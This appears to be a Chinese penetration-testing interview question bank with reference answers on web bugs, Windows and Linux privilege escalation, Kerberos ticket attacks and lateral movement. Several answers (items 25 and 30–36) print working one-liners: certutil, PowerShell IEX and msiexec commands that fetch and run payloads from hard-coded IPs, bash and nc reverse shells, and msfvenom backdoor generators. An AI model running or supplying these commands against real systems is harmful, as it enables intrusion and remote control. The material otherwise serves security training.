> 思路答案仅供参考

1. 给你一个网站你要如何去进行漏洞测试(如淘宝,京东，仅从web页面)从登录页面开始，列举出你的思路。

```
登录处可能存在sql注入
通过短信登录是否能够造成任意用户登录(如：验证码不限制使用时间)
通过密码登录是否存在用户名枚举
忘记密码处可能存在任意用户密码重置
用户注册处是否存在短信轰炸，以及任意用户注册，能否越权注册管理员用户
js中是否有管理员接口泄露
url中可能存在反射型xss
评论处可能存在存储型xss
搜索商品可能存在xss以及sql注入
加入购物车是否能够越权加入别人的购物车
购买商品可能存在任意金额修改
个人中心处：可能存在csrf，任意文件上传，存储型xss，越权修改他人信息，sql注入等
```

2. SQL注入写shell的方式(知道WEB路径的情况下)

```
into outfile
into dumpfile
开启log写webshell
sqlmap的--os-shell
当我们无法使用联合查询时，我们可以使用fields terminated by与lines terminated by来写shell
```

3. 如何如发现shiro漏洞

登陆失败时候会返回rememberMe=deleteMe字段或者使用shiroScan被动扫描去发现

完整：

未登陆的情况下，请求包的cookie中没有rememberMe字段，返回包set-Cookie里也没有deleteMe字段

登陆失败的话，不管勾选RememberMe字段没有，返回包都会有rememberMe=deleteMe字段

不勾选RememberMe字段，登陆成功的话，返回包set-Cookie会有rememberMe=deleteMe字段。但是之后的所有请求中Cookie都不会有rememberMe字段

勾选RememberMe字段，登陆成功的话，返回包set-Cookie会有rememberMe=deleteMe字段，还会有rememberMe字段，之后的所有请求中Cookie都会有rememberMe字段

4. 什么是蜜罐

蜜罐就是一个“陷阱”程序,这个陷阱是指对人侵者而特意设计出来的-些伪造的系统漏洞。这些伪造的系统漏洞,在引诱入侵者扫描或攻击时,就会激活能够触发报警事件的软件。

5. 有哪些利用redis未授权漏洞的方法

写入webshell(知道路径)
写ssh公钥
写定时任务
主从复制RCE

6. psexec和wmic的区别

psexec会记录大量日志；
wmic不会记录日志，wmic更为隐蔽。

7. 通过mimikatz抓取Hash需要注意什么

需要管理员权限
实战中需要先免杀

8. PTH中使用AES密钥进行hash传递攻击的前提条件是什么?

目标机器安装KB2871997补丁

KB2871997：禁止本地管理员权限与远程计算机进行远程连接，这样就无法以本地管理员权限使用wmi、psexec、schtasks、at和访问远程主机文件共享。

这个补丁发布后常规的Pass The Hash已经无法成功，唯独默认的 Administrator (SID 500)账号例外，利用这个账号仍可以进行Pass The Hash远程连接，即使administrator修改了名字

虽然无法通过管理员权限进行hash传递，但是可以通过导入AES密钥来替代ntlm hash进行横向的操作

9. 拿到webshell后，在无法出网的情况下怎么办?

通过reGeorg等HTTP隧道工具建立HTTP隧道，然后探测出网协议如，dns，icmp等

10. 什么是SSRF漏洞

SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下，SSRF攻击的目标是从外网无法访问的内部系统。（正是因为它是由服务端发起的，所以它能够请求到与它相连而与外网隔离的内部系统）

SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容，加载指定地址的图片，下载等等。

11. 文件上传00截断绕过需要什么条件

PHP<5.3.29
GPC关闭

12. 如何通过ssrf结合redis获得shell

使用ssrf探测内网是否开放了6379端口（对应redis服务），如果开放，即可结合redis未授权漏洞，通过gopher协议写入shell。

13. 工作组和域的区别

一、创建方式不同

1、工作组：工作组可以由任何一个计算机的主人来创建。

2、域：域只能由管理员来创建。

```
二、安全机制不同

1、工作组：在"工作组"中不存在组帐号，只有本机上的帐号和密码。

2、域：在"域"中有可以登录该域的帐号，这些由域管理员来建立。

三、登录方式不同

1、工作组：在工作组方式下，计算机启动后自动就在工作组中。

2、域：登录"域"是要提交"域用户名"和"密码"，一旦登录，便被赋予相应的权限。
```

14. linux文件权限一共10位长度，分为四段，第三端表示的内容为

```
文件所有者所在组的权限
```

15. 发现某个站点存在tomcat管理后台，进行账号密码爆破时，发现tomcat无法访问了，这是什么原因?

```
tomcat6版本以后针对爆破做了锁定机制的设置
```

16. 简述linux提权方式

```
内核漏洞提权(脏牛等)
suid提权
sudo提权
定时任务提权等
```

17. 简述linux操作系统suid，sgid权限

```
suid权限进程以属主用户权限启动
sgid权限进程以属组权限启动
```

18. 简述ntds.dit 及 存放位置

```
ntds.dit：活动目录数据库，包括有关域用户、组和组成员身份的信息及域中所有用户的密码哈希值
存放位置：C:\Windows\NTDS\ntds.dit
```

19. 拿到机器部分权限(如webshell，meterpreter)，进行内网渗透时，会想到收集哪些信息?

```
基础信息：
ip 、网关 、DNS、是否能连通外网、网络连接及端口、本机host文件、机器的代理、是否在域内，域名
位置区域：
DMZ区、办公区、生产区、核心DB
机器角色：
WEB服务器、开发服务器、文件服务器、代理服务器、DNS服务器、数据存储服务器
流量连通：
TCP、DNS、HTTP、ICMP
```

20. 简述windows本地认证流程

```
用户输入密码
系统收到密码后将用户输入的密码计算成NTLM Hash
与sam数据库（%SystemRoot%\system32\config\sam）中该用户的哈希比对
匹配则登陆成功，不匹配则登陆失败
```

21. powershell有哪些执行策略

```
Restricted：脚本不能运行（默认设置）；
RemoteSigned：在本地创建的脚本可以运行，但不能运行网上下载的脚本（拥有数字证书的除外）；
AllSigned：仅当脚本由受信任的发布者签名时才能运行；
Unrestricted：允许所有脚本运行；
```

22. linux用户zhangsan创建了文件 /tmp/zhangsan.txt， 用户 lisi是否能够删除 zhangsan.txt? 简述原因

```
不能，因为/tmp目录为1777权限。粘滞位（Stickybit），是Unix文件系统权限的一个旗标。最常见的用法在目录上设置粘滞位，设置了粘滞位后，只有目录内文件的所有者或者root才可以删除或移动该文件。如果不为目录设置粘滞位，任何具有该目录写和执行权限的用户都可以删除和移动其中的文件。

实际应用中，粘滞位一般用于/tmp /var/tmp目录，以防止普通用户删除或移动其他用户的文件。
```

23. 简述 计划任务 `* 22-7/1 * * * root /root/backup.sh >> /var/backup_log.txt` 做了什么?

```
每天晚上10点到早上7点之间，每小时执行一次/root/backup.sh脚本，并将输出内容导出到/var/backup_log.txt
```

24. mimikatz获取windows明文密码是从哪个进程获取的?简述进程

```
本地认证中用来处理用户输入密码的进程为lsass.exe,密码会在这个进程中明文保存，供该进程将密码计算成NTLM Hash与sam进行比对，我们使用mimikatz来获取的明文密码，便是在这个进程中读取到的
本地安全认证子系统服务（Local Security Authority Subsystem Service，缩写 LSASS）
```

25. msfvenom生成linux x86后门

```
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
```

26. metasploit怎么设置进程自动迁移?

```
set autorunscript migrate -f
```

27. 为什么sam数据库不能被直接复制?

```
因为sam数据库被pid为4的SYSTEM系统进程占用，此进程为windows kernel和服务依赖进程，无法终止
```

28. 如何快速定位域控

```
ipconfig /all
dns解析记录
spn扫描
端口识别
```

29. msf stageless & staged payload 的区别

```
Stageless Meterpreter是一个二进制文件，包含Meterpreter的所有必需部分以及所有必需的扩展，全部捆绑在一起，将完整的payload都编译在木马中，体积庞大

Staged Meterpreter负责建立目标用户与攻击者之间的网络连接，将执行传递到另一个阶段
```

30. 已知目标windows主机，存在一个命令执行漏洞，列举出至少三种下载payload到目标机器的方法:

```
1. Certutil
certutil.exe -urlcache -split -f http://139.155.49.43/44.exe c:\windows\temp\44.exe & start c:\windows\temp\44.exe

2. bitsadmin
bitsadmin /transfer xxx http://139.155.49.43/44.hta C:\windows\temp\44.hta
rundll32.exe url.dll,OpenURL 44.hta

3. powershell
powershell (new-object system.net.webclient).downloadfile('http://192.168.1.227/s.txt','s.txt')
powershell Invoke-WebRequest -uri " http://192.168.1.227/s.txt " -OutFile "$env:temp\s.php"
```

31. 获得一个linux主机后，怎么下载工具脚本到目标机器:

```
wget http://192.168.1.227/lan.hta
wget -O x.sh http://192.168.1.227/lan.hta

curl -o lan.hta http://192.168.1.227/lan.hta
curl -O http://192.168.1.227/lan.hta
```

32. 已知目标网站为php编写，如何通过命令执行下载文件到目标机器

```
php -r 'file_put_contents("lan.hta",file_get_contents("http://xxxx/xxx.xx"));'
```

33. 反向shell与正向shell的区别

正向shell：控制端(攻击者)主动向被控端(目标)发起连接请求，被控端需要监听端口等待控制端发送过来的连接请求，常用于内网渗透中内网机器无法出网的情况

反向shell：被控端(目标)主动向控制端(攻击者)发起连接请求，控制端需要监听端口等待被控端发送过来的连接请求，常用于目标机器可出网的情况

34. windows系统下有哪些反弹shell的方法?列举至少5种

```
nc：

    控制端：nc -lvvp 7777
```

```
    被控端：nc -e cmd.exe 192.168.1.105 7777

mshta：

    1.
    use exploit/windows/misc/hta_server
    use exploit/windows/misc/hta_server
    mshta http://192.168.78.117:8080/9A5Iiz.hta

    2.
    msfvenom -p windows/x64/meterpreter/reverse_tcp
lhost=192.168.78.117 lport=4444 -f hta-psh -o 1.hta

    3.
    cobalstrike：html application + host files

rundll32：

    1.
    use exploit/windows/smb/smb_delivery

    rundll32.exe \\192.168.78.117\GylDS\test.dll,0

    2.
    msfvenom -a x64 --platform windows -p
windows/x64/meterpreter/reverse_tcp LHOST=192.168.78.117
LPORT=53 -f dll > mingy.dll

    certutil.exe -urlcache -split -f
http://192.168.78.117:8000/mingy.dll

    rundll32 shell32.dll,Control_RunDLL
C:\Users\mingy\Desktop\mx\mingy.dll

regsvr32：

    use exploit/multi/script/web_delivery

    regsvr32 /s /n /u
/i:http://192.168.78.117:8080/NE67gb2mbfQt.sct scrobj.dll

certutil：
```

```
    certutil.exe -urlcache -split -f http://139.155.49.43:8000/6666.exe c:\windows\temp\6666.exe & start c:\windows\temp\6666.exe

    certutil.exe -urlcache -split -f http://139.155.49.43:8000/6666.exe delete

msiexec:

    msiexec /q /i http://139.155.49.43:8000/1.msi

powershell远程加载脚本:

    powershell -windowstyle hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://139.155.49.43/shell.ps1')";

powercat:

    powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://139.155.49.43:8000/powercat.ps1');powercat -c 139.155.49.43 -p 12345 -e cmd"
```

35. msfvenom如何生成在linux下netcat反弹shell的payload

```
msfvenom -l payloads | grep "netcat" | awk '{print $1}'
msfvenom -p cmd/unix/reverse_netcat lhost=139.155.49.43 lport=6666 -f raw
```

36. bash反弹shell

```
被控端：bash -i >& /dev/tcp/47.101.214.85/6666 0>&1
控制端：nc -lvvp 6666
```

37. linux重定向输入输出的本质是：

```
重定向文件描述符
```

38. Linux启动时默认会打开几个文件描述符?分别是什么?默认指向的设备是?

```
默认会打开三个文件描述符，分别为：
0 键盘
1 显示器
2 显示器
```

39. 简述实现bash反弹shell的payload构造步骤是

```
1. 实现被控端执行的命令结果返回到控制端
2. 实现把控制端的输入重定向到被控端的交互式shell
3. 混合输出，结合两条语句，实现控制端输入命令，在被控端执行，并返回执行结果到控制端
```

40. IPC$利用条件

```
1. 开放了139、445端口；
2. 目标开启IPC$文件共享服务
3. 需要目标机器的管理员账号和密码
```

41. 已知管理员账号密码，administrator/P@ssw0rd，如何建立到10.10.10.10的IPC$连接

```
net use \\10.10.10.1\c$ /user:administrator "P@ssw0rd"
```

42. 有哪些用于横向移动的方法工具?

```
IPC + Schtasks
IPC + AT
WMIC
WinRM
Psexec
Wmiexec
Metasploit psexec模块
Cobaltstrike psexec模块
SharpRDP
Pass The Hash
```

43. linux下有哪些常用的权限维持方法

```
SSH后门
Linux_PAM后门
Alias后门
Crontab后门
SUID后门
Linux后门账号
```

44. 使用Silver Ticket进行攻击需要掌握什么信息

```
域名
域SID
目标服务器FQDN
可利用的服务
服务账号的NTLM Hash
需要伪造的用户名
```

45. 使用Golden Ticket进行票据传递攻击需要掌握什么信息

```
伪造的域管理员用户名
完整的域名
域SID
krbtgt的NTLM Hash 或AES-256值
```